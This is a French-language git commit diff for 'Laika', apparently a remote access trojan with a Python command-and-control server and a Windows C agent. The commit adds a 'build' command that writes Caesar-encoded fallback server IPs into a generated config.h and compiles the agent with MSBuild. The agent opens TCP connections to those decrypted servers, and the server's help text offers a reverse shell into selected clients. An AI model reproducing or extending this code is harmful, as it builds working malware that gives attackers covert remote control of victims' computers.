build agent ajouté

This commit is contained in:
2023-01-21 13:40:31 +01:00
parent 8cd69d2c34
commit 6c9a923193
6 changed files with 47 additions and 8 deletions

View File

@@ -158,6 +158,7 @@
<ClCompile Include="utils.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="config.h" />
<ClInclude Include="resolve_apis.h" />
<ClInclude Include="utils.h" />
</ItemGroup>

View File

@@ -7,6 +7,9 @@
<Filter Include="Libs">
<UniqueIdentifier>{9e95c751-2cb6-4c1e-9f06-96b14532a979}</UniqueIdentifier>
</Filter>
<Filter Include="Config">
<UniqueIdentifier>{21b436ca-1cf6-4e3b-b4af-31279e56caf5}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.c">
@@ -26,5 +29,8 @@
<ClInclude Include="resolve_apis.h">
<Filter>Libs</Filter>
</ClInclude>
<ClInclude Include="config.h">
<Filter>Config</Filter>
</ClInclude>
</ItemGroup>
</Project>

3
Laika/config.h Normal file
View File

@@ -0,0 +1,3 @@
char* fallback_servers[1] = {
"=3=3=3=",
};

View File

@@ -2,6 +2,7 @@
#include <shlobj_core.h>
#include <wininet.h>
#include "utils.h"
#include "config.h"
#include "resolve_apis.h"
#define Sleep_TIME 30
@@ -106,18 +107,12 @@ void SendShellEndedSignal(SOCKET sock) {
#define FALLBACK_SERVERS 4
char* fallback_servers[4];
int serv = -1;
int main() {
InitApis();
Message();
fallback_servers[0] = CAESAR_DECRYPT("6>736;=3638:");
fallback_servers[1] = CAESAR_DECRYPT("");
fallback_servers[2] = CAESAR_DECRYPT("");
fallback_servers[3] = CAESAR_DECRYPT("6>736;=36397");
Tmemset memset = Api.memset;
wchar_t wtext[20];
@@ -147,7 +142,7 @@ retry:
if (serv > FALLBACK_SERVERS - 1) {
serv = 0;
}
server.sin_addr.s_addr = Api.inet_addr(fallback_servers[serv]);
server.sin_addr.s_addr = Api.inet_addr(CAESAR_DECRYPT(fallback_servers[serv]));
//Create socket
sock = Api.socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

View File

@@ -120,6 +120,7 @@ def main() -> None :
print("select <ID> : sélectionne le client avec lequel intéragir")
print("deselect : désélectionne le client précédemment séléctionné avec \"select\"")
print("shell : ouvre un reverse shell dans le client précédemment séléctionné avec \"select\"")
print("build : build un client")
print("")
elif cmd == "exit" :
@@ -130,6 +131,38 @@ def main() -> None :
elif cmd == "clear" :
ban()
elif cmd == "build" :
print("")
nb_fallbacks = input("Nombre de serveurs de fallback : ")
if not nb_fallbacks.isdigit() or int(nb_fallbacks) < 0 :
print(f"\"{nb_fallbacks}\" n'est pas un nombre valide.")
continue
ips = []
for i in range(1, int(nb_fallbacks)+1) :
while True :
s_ip = input(f"IP du serveur {i} : ")
if "." in s_ip : #technique de shlag mais un nom de domaine peut pas être vérifié avec socket du coup on check juste le "."
ips.append(CAESAR(s_ip))
break
print("")
print("Écriture de la config...")
with open("../Laika/config.h", "w") as config :
config.write("char* fallback_servers["+nb_fallbacks+"] = {\n")
for ip in ips :
config.write(f"\t\"{ip}\",\n")
config.write("};")
print("Config écrite")
print("")
print("Compilation de l'agent..")
vs_path = os.popen("\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\" -nologo -latest -property installationPath").read().replace("\n","") #https://stackoverflow.com/questions/46223916/msbuild-exe-not-found-cmd-exe
cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe"
os.system("\""+cmd_line+"\" ../Laika /p:Configuration=Release;Platform=x86")
elif cmd == "clients" :
print("")
x = PrettyTable()

View File

@@ -22,6 +22,7 @@
# Server
* Fait en Python
* Permet de build le client/faire la config
* Tout beau
<details open>